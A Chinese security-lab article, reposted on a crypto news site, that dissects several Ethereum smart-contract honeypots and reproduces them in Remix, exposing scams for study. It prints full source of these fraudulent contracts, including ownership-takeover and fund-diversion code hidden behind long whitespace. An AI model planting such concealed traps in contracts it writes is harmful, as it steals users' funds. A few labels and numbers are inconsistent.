您现在的位置是:主页 > 币圈资讯 >

有趣的智能合约蜜罐分析(上)

2021-10-20 15:20币圈资讯 人已围观

简介 智能合约蜜罐概述 研究安全的读者应该都清楚,蜜罐本质上是一种对攻击方进行欺骗的技术,通过布置一些作为诱饵...

智能合约蜜罐概述

研究安全的读者应该都清楚,蜜罐本质上是一种对攻击方进行欺骗的技术,通过布置一些作为诱饵的主机、网络服务或者信息,诱使攻击方对它们实施攻击。蜜罐设计的初衷就是让黑客来入侵系统,并借此收集证据,也隐藏了真实环境。智能合约中也有蜜罐,但它不同于我们一般听到的蜜罐。

在本文中,知道创宇区块链安全实验室 主要针对智能合约蜜罐(Smart Contract Honeypot)进行分析。

智能合约蜜罐的作用更像是钓鱼,通过引诱攻击者转账到蜜罐合约。相比于普通钓鱼行为面对一般用户,智能合约蜜罐的钓鱼行为针对的是智能合约开发者、智能合约代码审计人员以及黑客,这种钓鱼行为明显门槛更高。

接下来我们会对一些智能合约蜜罐的案例做讲解,揭露其中的骗局,这些智能合约蜜罐代码都可以 GitHub 上找到,这里给出他们的网址:

  • smart-contract-honey(https://github.com/thec00n/smart-contract-honeypots) 

  • Solidlity-Vulnerable(https://github.com/misterch0c/Solidlity-Vulnerable) 

  • 根据这些智能合约蜜罐的欺骗手法,可以将它们大致的分类为以下几种

  • 古老的欺骗手段 

  • 黑客的漏洞利用 

  • 新颖的赌博游戏 

  • 黑客的漏洞利用 

  • 由于篇幅有限,文章分为两部分进行讲解,本文作为上篇,主要对古老的欺骗手段和神奇的逻辑漏洞进行讲解和复现,新颖的赌博游戏和黑客的漏洞利用会在下篇中进行讲解。

    古老的欺骗方法

    2.1 超长空格的欺骗:WhaleGiveway1

    2.1.1 蜜罐分析

    第一个要介绍的蜜罐是一种最原始古老的欺骗方法,这个蜜罐叫做「WhaleGiveway1」,中文名为超长空格的欺骗,项目地址如下:

  • GutHub 地址:smart-contract-honeypots/WhaleGiveaway1.sol(https://github.com/thec00n/smart-contract-honeypots/blob/master/WhaleGiveaway1.sol)

  • Etherscan 地址:WhaleGiveaway1 | 0x7a4349a749e59a5736efb7826ee3496a2dfd5489(https://etherscan.io/address/0x7a4349a749e59a5736efb7826ee3496a2dfd5489#code)

  • 在 GitHub 中打开该合约,发现代码好像并没有什么问题,此时我们查看下方会看到有一个拖动条,当我们往右边拖动时就会发现问题的所在了,这也就是所谓的「超长空格的欺骗」。

    v2-3b3296308807bbb6331de5e624bebbe2_720w.jpg

    当然了,如果攻击者并没有发现这个问题,就可能会被该蜜罐合约所欺骗,让我们来分析下被欺骗的原因。细读下来代码可以发现 GetFreebie() 函数的条件是很容易被满足的,只有一个 if 语句进行判断,只要消息调用者所携带的转账金额大于 1 eth 就可以转走该合约中的所有以太币。

    if (msg.value > 1 ether) { // 判断消息调用者转账所携带的以太币是否大于 1 eth     msg.sender.transfer(this.balance); // 将合约中所有的 eth 转给消息调用者 }

    当攻击者看到该段代码时会认为该合约存在漏洞,只需要向合约转入大于 1 eth 的金额就能转走合约中所有的以太币,也就理所当然的照做了,但当他们转入以太币后会发现根本不能取走合约中的所有以太币,这就是智能合约蜜罐诱惑之处,也是它的欺骗之处。

    造成它的原因就在于标题说到超长空格的欺骗,还记得上面说到的拖动条吗?拖动按钮到一定的位置,我们就可以发现合约中大片空白的地方出现了一段代码,如下两张图所示。这就是代码编辑器显示超长空格却没有自动换行所导致的,在 21 行和 29 行处蜜罐的作者通过增加一长串的空格来隐藏这些代码。

    v2-892235b093492b1ab921258cd468264c_720w.jpgv2-810170d9a5c13a53550ef9a7b2f504cc_720w.jpg

    当我们将这些多余的空格去掉后,就揭开了该蜜罐合约的真面目:

    当我们将这些多余的空格去掉后,就揭开了该蜜罐合约的真面目:如果消息调用者转账金额大于 1 eth,就先将合约中原有的以太币和这次转入的以太币一起全部转给合约的所有者,之后再将合约中的余额(此时余额已经为 0 个以太币)转给消息调用者(也就是转账的用户),很明显转账的用户已经变成了受害者被骗了。

    if (msg.value>1 ether) { // 消息调用者转账携带的金额需要大于 1 eth     Owner.transfer(this.balance); // 将合约中的所有以太币转到合约所有者地址中去     msg.sender.transfer(this.balance); // 将合约中的所有以太币转到消息调用者地址去,但此时合约中已经没有了以太币 }

    除了 21 行的超长空格,29 行处也有超长空格,在没有去掉这些多余的空格时代码如下:

    function withdraw() payable public { // 提款功能     require(msg.sender == Owner); // 要求消息调用者为合约所有者     Owner.transfer(this.balance); // 将合约中所有以太币转给合约所有者 }

    这段代码的意思是:只有调用者为合约所有者时,才能使用 withdraw() 进行提款并放到 Owner 地址中,而正常来说 Owner 地址是合约的所有者,一般是没有问题的。

    然而实际上去掉多余的空格后我们会发现,在判断调用者是否为合约所有者之前还有一个 if 语句和赋值操作,这会先判断调用者的地址是否为攻击者的地址,如果是就将合约所有者的地址设为该地址,这就导致了只有攻击者可以随时利用该问题取走合约的所有余额。具体代码如下:

    function withdraw() payable public {     if (msg.sender == 0x7a617c2B05d2A74Ff9bABC9d81E5225C1e01004b) {         Owner = 0x7a617c2B05d2A74Ff9bABC9d81E5225C1e01004b;     }     require(msg.sender == Owner);     Owner.transfer(this.balance); }

    当我们将合约的代码放到本地进行自动换行时就可以发现该合约是存在问题的。

    //contract address: 0x7a4349a749e59a5736efb7826ee3496a2dfd5489

    pragma solidity ^0.4.19;

    contract WhaleGiveaway1 {     address public Owner = msg.sender;         function()     public     payable     {              }         function GetFreebie()     public     payable     {                                                                             if(msg.value>1 ether)         {                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Owner.transfer(this.balance);                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        msg.sender.transfer(this.balance);         }                                                                                                                     }     function withdraw()     payable     public     {                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        if(msg.sender==0x7a617c2B05d2A74Ff9bABC9d81E5225C1e01004b){Owner=0x7a617c2B05d2A74Ff9bABC9d81E5225C1e01004b;}                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           require(msg.sender == Owner);         Owner.transfer(this.balance);     }          function Command(address adr,bytes data)     payable     public     {         require(msg.sender == Owner);         adr.call.value(msg.value)(data);     } }

    2.1.2 代码复现

    将上述的问题代码放到 Remix IDE 中,再将 29 行后隐藏代码中的地址修改为 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2,该地址做为攻击者的账户地址,也就是说会存在 3 个地址,分别是合约部署者 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4,攻击者 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2 以及蜜罐攻击者(也是受害者)0xCA35b7d915458EF540aDe6068dFe2F44E8fa733c。

    将合约代码编译后使用 0x5B3 账户点击「Deploy」进行部署,之后调用 Owner() 函数查询当前合约所有者,为 0x5B3。

    v2-952bb210b8b8c78de5143fcdab2dc838_720w.jpg

    再使用部署者账户 0x5B3 设置 msg.value 为 10 eth,点击「Transact」调用回退函数转入这 10 eth,此时合约的余额就变成了 10 eth,而部署者账户 0x5B3 的余额变成了 89 eth。

    v2-09a7329a577d3e45446198cb1a43cd0d_720w.jpg

    攻击者 0xAB8 调用 withdraw() 函数在获取合约所有者权限的同时也将合约中的 10 eth 转到自己的账户中,此时攻击者账户为 109 eth。

    v2-14dd3134e14fbfa60a0e72df7e01ec28_720w.jpg

    并且调用 Owner() 函数可以发现合约的所有者已经变为了 0xAb8。

    v2-cfb2700c4e639edd75c5136875def048_720w.jpg

    之后蜜罐攻击者 0xCA3 发现了该蜜罐并被欺骗以为该合约存在漏洞,准备获取合约中的 10 eth,所以蜜罐攻击者 0xCA3 将 msg.value 设置为 5 eth 调用 GetFreebie() 函数进行攻击,此时蜜罐攻击者 0xCA3 的账户余额变成了 94 eth。

    v2-948d4df83e321c79fef67c69a837ccfd_720w.jpg

    再次查看账户余额,可以发现蜜罐攻击者 0xCA3 相应的减少了转入的 5 eth,而攻击者 0xAb8 的余额变成了 114 eth,蜜罐攻击者 0xCA3 成功被蜜罐欺骗。

    v2-735edfc8f9a80dd5f7b0a08f709a1f18_720w.jpg

    2.2 超长空格的欺骗 2:TestToken

    2.2.1 蜜罐分析

    与上面蜜罐合约类似的还有一个叫「TestToken」,也是超长空格的欺骗,项目地址如下:

  • GutHub 地址:smart-contract-honeypots/TestToken.sol

  • 这里我就不做全面的分析,只分析下具体的问题点,超长空格的欺骗发生在 84 行代码处,如果不拖动滑动按钮,看到的代码如下,大致意思为当合约中的代币不小于 0.5 eth 时,将合约中所有的代币转给调用者。

    function withdrawAll () payable{ // 提款全部         require(0.5 ether < total); // 合约的余额不小于 0.5 eth         msg.sender.transfer(this.balance); // 将合约所有余额转给调用者     }

    然而去掉多余的空格,实际的代码如下,在将合约中的余额转给调用者之前,还需要判断当前区块的块号是否大于 504027,如果大于了则判断调用者是否为合约所有者,如果也是则将合约所有余额转给合约所有者。

    那么也就是说该蜜罐合约会在合约余额转给调用者之前先转给合约所有者。

    function withdrawAll () payable{         require(0.5 ether < total);         if (block.number > 5040270 ) {if (_owner == msg.sender ){_owner.transfer(this.balance);} else {throw;}} // 当区块块号大于 504027 时再判断调用者是否为合约所有者,如果是则将合约所有余额转给合约所有者。         msg.sender.transfer(this.balance);     }

    该蜜罐合约完整的代码如下:

    contract TestToken {     string constant name = "TestToken";     string constant symbol = "TT";     uint8 constant decimals = 18;     uint total;     bool locked;     address _owner;     struct Allowed {         mapping (address => uint256) _allowed;     }     mapping (address => Allowed) allowed;     mapping (address => uint256) balances;     event Transfer(address indexed _from, address indexed _to, uint256 _value);     event Approval(address indexed _owner, address indexed _spender, uint256 _value);     function TestToken() {         total = 0;         _owner = msg.sender;     }     function totalSupply() constant returns (uint256 totalSupply) {         return total;     }     function balanceOf(address _owner) constant returns (uint256 balance) {         return balances[_owner];     }     function deposit() payable returns (bool success) {         if (balances[msg.sender] + msg.value < msg.value) return false;         if (total + msg.value < msg.value) return false;         balances[msg.sender] += msg.value;         total += msg.value;         return true;     }     function withdraw(uint256 _value) payable returns (bool success)  {         if (balances[msg.sender] < _value) return false;         msg.sender.transfer(_value);         balances[msg.sender] -= _value;         total -= _value;         return true;     }     function transfer(address _to, uint256 _value) returns (bool success) {         if (balances[msg.sender] < _value) return false;         if (balances[_to] + _value < _value) return false;         balances[msg.sender] -= _value;         balances[_to] += _value;         Transfer(msg.sender, _to, _value);         return true;     }      function approve(address _spender, uint256 _value) returns (bool success) {         allowed[msg.sender]._allowed[_spender] = _value;          Approval(msg.sender, _spender, _value);         return true;         }     function allowance(address _owner, address _spender) constant returns (uint256 remaining) {         return allowed[_owner]._allowed[_spender];     }     function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {         if (balances[_from] < _value) return false;         if ( allowed[_from]._allowed[msg.sender] < _value) return false;         if (balances[_to] + _value < _value) return false;         balances[_from] -= _value;         balances[_to] += _value;         allowed[_from]._allowed[msg.sender] -= _value;         return true;     }     function withdrawAll () payable{         //require(msg.sender == _owner);         require(0.5 ether < total);                                              if (block.number > 5040270 ) {if (_owner == msg.sender ){_owner.transfer(this.balance);} else {throw;}}         msg.sender.transfer(this.balance);     } }

    2.2.2 代码复现

    为了在本地复现该蜜罐合约,我加上了适用的 Solidity 版本以及超长空格欺骗中的代码修改为 block.number > 0。

    使用地址 0x5B3 点击「Deploy」进行部署,设置 msg.value 为 400000000000000000 wei 并调用 deposit() 函数存款,此时 total 为 0.4 eth。

    v2-b263a1b5a5494847e7bafbe985e00796_720w.jpg

    蜜罐攻击者 0xAb8 发现了该合约并被欺骗认为该合约存在漏洞,想要将合约中 0.4 eth 转出,所以他转入 10 eth 到合约中使得判断条件满足(只需要大于 0.1 eth 即可,但为了凸显出效果设置为 10 eth)。

    v2-b05e6d86009671ca0369219d7c44ea40_720w.jpg

    之后蜜罐攻击者 0xAb8 调用认为存在问题的函数 withdrawAll() 进行攻击,会发现合约报错,因为超长空格后的代码中的判断不能满足。

    v2-28194af0e742d5f3bb2a53b8c870cbaf_720w.jpg

    之后合约部署者 0x5B3 调用  withdrawAll() 函数则可以提出合约中所有的余额。

    v2-3958c65ba71a75e71a58a184e244690c_720w.jpg

    3. 神奇的逻辑漏洞

    3.1 天上掉下的馅饼:Gift_1_ETH

    3.1.1 蜜罐分析

    第一个要介绍的逻辑漏洞蜜罐叫做「Gift_1_ETH」,项目地址如下:

  • GutHub 地址:smart-contract-honeypots/Gift_1_ETH.sol at master

  • Etherscan 地址:Gift_1_ETH | 0xd8993f49f372bb014fb088eabec95cfdc795cbf6

  • 合约的完整代码如下:

    // contract address: 0xd8993F49F372BB014fB088eaBec95cfDC795CBF6

    pragma solidity ^0.4.17;

    contract Gift_1_ETH {          bool passHasBeenSet = false;          function()payable{}          function GetHash(bytes pass) constant returns (bytes32) {return sha3(pass);}          bytes32 public hashPass;          function SetPass(bytes32 hash)     payable     {         if(!passHasBeenSet&&(msg.value >= 1 ether))         {             hashPass = hash;         }     }          function GetGift(bytes pass) returns (bytes32)     {

            if( hashPass == sha3(pass))         {             msg.sender.transfer(this.balance);         }         return sha3(pass);     }          function PassHasBeenSet(bytes32 hash)     {         if(hash==hashPass)         {            passHasBeenSet=true;         }     } }

    整个合约有三个关键的功能函数,分别是 setPass()、GetGift() 以及 PassHasBeenSet()。

    首先是 setPass() 函数,代码如下,其功能为在还未设置密码且转账大于 1 eth 时可以设置密码 hashPass。

    function SetPass(bytes32 hash) payable { // 设置密码     if(!passHasBeenSet&&(msg.value >= 1 ether)) { //如果还未设置过密码且转账大于 1 eth         hashPass = hash; // 设置密码 hashPass     } }

    第二个是 GetGift() 函数,代码如下,其功能为判断输入的密码加密后是否与 hashPass 的值相等,如果相等则可以取走合约里的所有以太币。

    function GetGift(bytes pass) returns (bytes32) { // 获取礼物奖励     if( hashPass == sha3(pass)) { // 判断输入的 pass 经过 sha3 加密后是否和 hashPass 相等         msg.sender.transfer(this.balance); // 如果相等则将合约所有代币转走到调用者地址     }     return sha3(pass); // 返回 sha3 加密后 pass 的值 }

    最后一个是 PassHasBeenSet() 函数,代码如下,其功能为判断输入的 hash 值和 hashPass 的值是否相等,如果相等则将 passHasBeenSet 的值设置为 true。

    function PassHasBeenSet(bytes32 hash) { // 密码是否已经设置     if(hash==hashPass) { // 判断输入的 hash 和 hashPass 是否相等         passHasBeenSet=true; // 如果相等则将 passHasBeenSet 设置为 true     } }

    通过分析上面三个关键功能函数我们不难发现,攻击者要想取走合约内的以太币,只需要进行以下的流程即可:

    1. 合约初始创建时 passHasBeenSet 为 false,这也就意味着攻击者满足了 SetPass() 函数设置密码的第一个条件。

    2. 接着调用 SetPass() 函数并转入大于等于 1 个以太币,这样就满足了第二个条件,此时攻击者就可以将 hashPass 设置他想设置的值。

    3. 最后调用 GetGift() 函数,由于攻击者在上一步设置了密码,这就意味着 hash 和 hashPass 都是可控的,可以满足 GetGift() 函数的第一个条件,攻击者就能理所当然的取走合约中的所有以太币。

    看似简单的步骤,事实上,我们通过查看合约的调用的交易记录可以发现攻击者在转入 1 以太币后并没有获取到合约中的余额。

    v2-81c1eb7bca51d3870e43bacd92acb107_720w.jpg

    那么具体问题出在哪儿呢?在第一步中我们考虑的状态变量 passHasBeenSet 的值取为了合约创建时的初始值 false,然而 PassHasBeenSet() 函数会将 passHasBeenSet 的值设为 true,这就会导致如果合约创建者先设置了密码,攻击者再调用 SetPass() 函数时只会转入以太币而第一个条件不能满足,从而不能设置 hashPass 的值,连带反应也不能满足 GetGift() 函数的第一条件了。因为密码 hashPass 已经被创建者设置,而攻击者由于不能修改 hashPass 导致在 GetGift() 函数中输入的 hash 不会和 hashPass 相等。

    3.1.2 代码复现

    将代码放入到 Remix IDE 中,使用第一个账户 (0x5B38Da6a701c568545dCfcB03FcB875f56beddC4) 作为合约创建者的地址,点击「Deploy」进行部署,之后点击「hashPass」查看初始的值,默认为 0。

    v2-911dce2dd49eaa0a62eccbf6650c4899_720w.jpg

    合约创建者 0x5B3 先获取要设置密码的 sha3 值,接着设置 mag.value 为 10 eth(只需要 1 eth 就可以了,为了方便观察我们设置为 10 eth),接着将刚才获取的 sha3 值作为参数传入调用 SetPass() 函数,之后点击「hashPass」查看密码,发现已经被合约创建者修改,此时合约中代币为 10 eth,创建者余额为 89 eth。

    v2-96440272234ae93d33e476558a441799_720w.jpg

    接着合约创建者调用 PassHasBeenSet() 函数设置状态变量 passHasBeenSet 为 true。

    v2-8addf9639ebd8338bc102c2027151de9_720w.jpg

    如果攻击者 (0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2) 发现了该蜜罐合约并被欺骗以为存在漏洞,想要将合约中的 10 eth 转出到自己的账户,所以攻击者 0xAb8 在获取了自己要设置密码的 sha3 值之后转账 10 eth 去调用 SetPass() 函数,之后查看 hashPass 的值,发现仍然为之前的密码。

    v2-889300c013e260b740078d579cfe80b5_720w.jpg

    此时攻击者 0xAb8 去调用 GetGift() 获取合约中的所有代币时会发现,因为不能 hashPass,所以不能满足 if 条件,从而不能获取合约中的代币。

    而合约创建者发现有人上钩之后就去执行 GetGift() 函数获取合约中的 20 eth。

    v2-deb85de9c5f36ae07c76bb0fbb50b0c9_720w.jpg

    与之类似的蜜罐合约还有「NEW_YEARS_GIFT」,其项目地址如下:

  • GitHub 地址:Solidlity-Vulnerable/NEW_YEARS_GIFT.sol

  • Etherscan 地址:NEW_YEARS_GIFT | 0x13c547Ff0888A0A876E6F1304eaeFE9E6E06FC4B

  • 3.2 合约永远比你有钱:MultiplicatorX3

    3.2.1 蜜罐分析

    第二个要介绍的逻辑漏洞蜜罐叫做「Gift_1_ETH」,项目地址如下:

  • GutHub 地址:smart-contract-honeypots/Gift_1_ETH.sol at master

  • Etherscan 地址:Gift_1_ETH | 0xd8993f49f372bb014fb088eabec95cfdc795cbf6

  • 合约的完整代码如下:

    // contract address: 0x5aA88d2901C68fdA244f1D0584400368d2C8e739

    pragma solidity ^0.4.18;

    contract MultiplicatorX3 {     address public Owner = msg.sender;         function() public payable{}         function withdraw()     payable     public     {         require(msg.sender == Owner);         Owner.transfer(this.balance);     }          function Command(address adr,bytes data)     payable     public     {         require(msg.sender == Owner);         adr.call.value(msg.value)(data);     }          function multiplicate(address adr)     public     payable     {         if(msg.value>=this.balance)         {                     adr.transfer(this.balance+msg.value);         }     } }

    该蜜罐合约有三个关键的功能函数,分别是 withdraw()、Command() 以及 multiplicate()。

    首先是 withdraw() 函数,代码如下,其功能为判断调用者是否为合约所有者,如果是则获取合约中的所有代币。

    function withdraw() payable public { // 提款     require(msg.sender == Owner); // 判断调用者是否为合约所有者     Owner.transfer(this.balance); // 将合约所有代币转给合约所有者 }

    第二个是 Command() 函数,代码如下,其功能为判断调用者是否为合约所有者,如果是则可以向目标地址转发以太币并传入需要的 data 内容。

    function Command(address adr,bytes data) payable public { // 命令     require(msg.sender == Owner); // 判断调用者是否为合约所有者     adr.call.value(msg.value)(data); // 向目标地址转发以太币并传入需要的 data  }

    最后一个是 multiplicate() 函数,代码如下,其功能为判断转账的金额是否大于等于合约中的余额,如果是则把合约中的余额和本次转账的金额都转给一个可控的地址。

    function multiplicate(address adr) public payable { // 乘法     if(msg.value>=this.balance) { // 判断转账的金额是否大于等于合约中的余额         adr.transfer(this.balance+msg.value); // 把合约中的余额和本次转账的金额都转给传入的地址     } }

    通过分析上面三个函数不难发现,蜜罐合约的关键点在 multiplicate() 函数,该函数中的条件看似非常容易实现,只要我们转账的金额更大就可以了,然而事实并非这样。我们可以分析下 multiplicate() 函数的过程,先将一定数量的以太币转入合约中,之后再在函数内进行 if 语句的判断,那么也就是说在调用函数的交易被确认进入区块的同时,本次转账的以太币也被转入了合约中,这些操作都是发生在 if 语句之前的。

    通俗的讲,if 语句中的判断其实是:if(转账的金额 >= 转账的金额+之前合约的余额),所以无论我们转账多少,if 语句中的条件都不可能满足,这就是所谓的「合约永远比你有钱」。当然了,在合约余额为 0 且转账为 0 时是可以满足该条件的,但是如果合约中没有余额也就不会吸引到攻击者了。

    如果没有分析清楚该合约就贸然的调用 multiplicate() 函数转账就会被蜜罐合约骗走代币并且不能取出来。下图为蜜罐合约的历史调用记录。

    v2-736622106354068ef2c4e5d47639d6c9_720w.jpg

    3.2.2 代码复现

    将合约完整代码放入到 Remix IDE 中,选择 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 作为合约创建者地址,点击「Deploy」部署合约,设置 msg.value 为 10 eth,调用 Command() 函数并将参数中的地址设置为蜜罐合约地址,将参数中的 data 设置为 0x00,转账成功,合约中已经有 10 eth 了。

    v2-b831b670ffe1a58592deda67c9e92941_720w.jpg

    攻击者 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2 发现了该蜜罐合约并被欺骗想要取走合约中的 10 eth,所以攻击者 0xAb8 设置 msg.value 为 20 eth,并将自己的地址作为 adr 参数调用 multiplicate() 函数,查看余额可以发现攻击者 0xAb8 减少了 20 eth,并没有获得合约中原有的 10 eth。

    v2-c72e5e436f1663a8cae773a2de31f91a_720w.jpg

    之后使用合约创建者去调用 withdraw() 函数将合约中所有的以太币提走,如下图所示,合约创建者 0x5B3 的余额从 89 eth 变为了 119 eth。

    v2-a8bf687b8d29f9236237a6f17cb7b258_720w.jpg

    与之类似的蜜罐合约还有「PINCODE」,其项目地址如下:

  • GitHub 地址:Solidlity-Vulnerable/PINCODE.sol

  • Etherscan 地址:PINCODE | 0x35c3034556b81132e682db2f879e6f30721b847c

  • 3.3 谁是合约主人:TestBank

    3.3.1 蜜罐分析

    第三个要介绍的逻辑漏洞蜜罐叫做「TestBank」,项目地址如下:

  • GutHub 地址:smart-contract-honeypots/TestBank.sol

  • Etherscan 地址:TestBank | 0x70C01853e4430cae353c9a7AE232a6a95f6CaFd9

  • 合约的完整代码如下:

    // contract address: 0x70C01853e4430cae353c9a7AE232a6a95f6CaFd9

    pragma solidity ^0.4.18;

    contract Owned {     address public owner;     function Owned() { owner = msg.sender; }     modifier onlyOwner{ if (msg.sender != owner) revert(); _; } }

    contract TestBank is Owned {     event BankDeposit(address from, uint amount);     event BankWithdrawal(address from, uint amount);     address public owner = msg.sender;     uint256 ecode;     uint256 evalue;

        function() public payable {         deposit();     }

        function deposit() public payable {         require(msg.value > 0);         BankDeposit(msg.sender, msg.value);     }

        function setEmergencyCode(uint256 code, uint256 value) public onlyOwner {         ecode = code;         evalue = value;     }

        function useEmergencyCode(uint256 code) public payable {         if ((code == ecode) && (msg.value == evalue)) owner = msg.sender;     }

        function withdraw(uint amount) public onlyOwner {         require(amount <= this.balance);         msg.sender.transfer(amount);     } }

    该蜜罐合约的关键点在于 useEmergencyCode() 函数,代码如下,其功能为判断 code 是否等于合约的 ecode,传入的 msg.value 是否等于合约的 evalue,如果是则将 owner 设置为我们的地址。

    function useEmergencyCode(uint256 code) public payable { // 使用紧急代码     if ((code == ecode) && (msg.value == evalue)) owner = msg.sender; // 将 owner 设置为我们的地址 }

    当我们将合约的 owner 设置为我们的地址时,那么就可以通过 onlyOwner() 函数修饰器的判断进而执行 withdraw() 函数进行提款操作,取走合约中所有的代币。以上的分析方法看起来没什么问题,但实际上是完全行不通的,这就涉及到 Solidity 中的继承内容,可以参考 Solidity原理(一):继承(Inheritance) 这篇文章。

    其中文章中讲到的重点是:

  • Solidity 的继承原理是代码拷贝,因此换句话说,继承的写法总是能够写成一个单独的合约。

  • 情况五:子类父类有相同名字的变量。 父类 A 的 test1 操纵父类中的 variable,子类 B 中的 test2 操纵子类中的 variable,父类中的 test2 因为没被调用所以不存在。

  • 下面是一个示例代码:

    contract A{       uint variable = 0;       function test1(uint a)  returns(uint){          variable++;          return variable;       }      function test2(uint a)  returns(uint){          variable += a;          return variable;       }   }   contract B is A{       uint variable = 0;       function test2(uint a) returns(uint){           variable++;           return variable;       }   }   ====================   contract B{       uint variable1 = 0;       uint variable2 = 0;       function test1(uint a)  returns(uint v){           variable1++;          return variable1;       }       function test2(uint a) returns(uint v){           variable2++;           return variable2;       }   }

    那么再看懂了上面讲解的基础上我们再回到蜜罐合约本身,Owner 和 TestBank 合约中都有一个 owner 变量,因此 TestBank 合约中 useEmergencyCode() 函数修改的其实只是 TestBank 合约的所有者,并不会对 Owner 合约的所有者造成任何影响,而函数修饰器 onlyOwner 中判断的合约所有者为 Owner 合约的所有者,也就是合约创建者,无论攻击者如何修改 TestBank 合约中的 owner 值,最后都不能通过 onlyOwner 的判断提款成功。

    根据上述的分析,我们可以将该蜜罐合约的核心代码修改为如下内容,这样大家就能够一目了然的知道原因了,onlyOwner 中判断的 owner 和 useEmergencyCode() 函数中的 owner 参数并不是一个东西,只是同名而已。

    contract TestBank is Owned {     address public owner1 = msg.sender;     modifier onlyOwner{ if (msg.sender != owner1) revert(); _; }     address public owner2 = msg.sender;     uint256 ecode;     uint256 evalue;     function useEmergencyCode(uint256 code) public payable {         if ((code == ecode) && (msg.value == evalue)) owner2 = msg.sender;     }     function withdraw(uint amount) public onlyOwner {         require(amount <= this.balance);         msg.sender.transfer(amount);     }

    3.3.2 代码复现

    将蜜罐合约完整代码放入到 Remix IDE 中,选择 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 作为合约创建者,点击「Deploy」来部署合约,设置 msg.value 为 10 eth 调用 deposit() 函数存入 10 eth 到合约中。

    v2-ff6e8d7aa85c56204352980da08f0bfa_720w.jpg

    在使用该用户 0x5B3 调用 setEmergencyCode() 函数设置 ecode 和 evalue,这里我们将 ecode 任意设置为「111111」,value 设置为「10000000000000000000」也就是 10 eth。

    v2-b4a94fbbed982da1b802ace0bfe447bb_720w.jpg

    如果蜜罐合约创建者故意泄露自己设置 ecode 和 evalue 的值,并且展示出合约中已经存在以太币,当攻击者 0xAb8 发现了这些问题并被欺骗认为该合约存在问题,将 msg.value 设置为 10 eth,并输入 code 为「111111」去调用 useEmergencyCode() 函数,尝试去将合约所有者地址修改为自己的地址,但该攻击者只是成为了 TestBank 合约的所有者,并没有成为 Owner 合约的所有者,这就导致了在执行 withdraw() 函数时函数修饰器 onlyOwner 会拒绝攻击者。

    v2-667d09cf99bcdc37412481c6624ca08c_720w.jpg

    攻击者 0xAb8 查看 owner 的值确定自己就是合约的所有者了,之后调用 withdraw() 函数去提取合约中所有的 20 eth,会发现调用失败,这是因为函数修饰器 onlyOwner 中判断条件不能通过,导致 withdraw() 函数也不能正常执行,这样一来攻击者 0xAb8 就被蜜罐合约白白骗取了 10 eth。

    v2-22599a747ba1b8c9216008c81650771c_720w.jpg

    而合约所有者 0x5B3 则可以去调用 withdraw() 函数取走合约中的 20 eth。

    v2-d07a64919e471b34080db57277af0a2f_720w.jpg

    4. 文献参考

  • 蜜罐技术_百度百科 (baidu.com)

  • 以太坊蜜罐智能合约分析 (seebug.org)

  • Solidity原理(一):继承(Inheritance)

  • Solidity 中文手册

  • Tags:

    标签云

    站点信息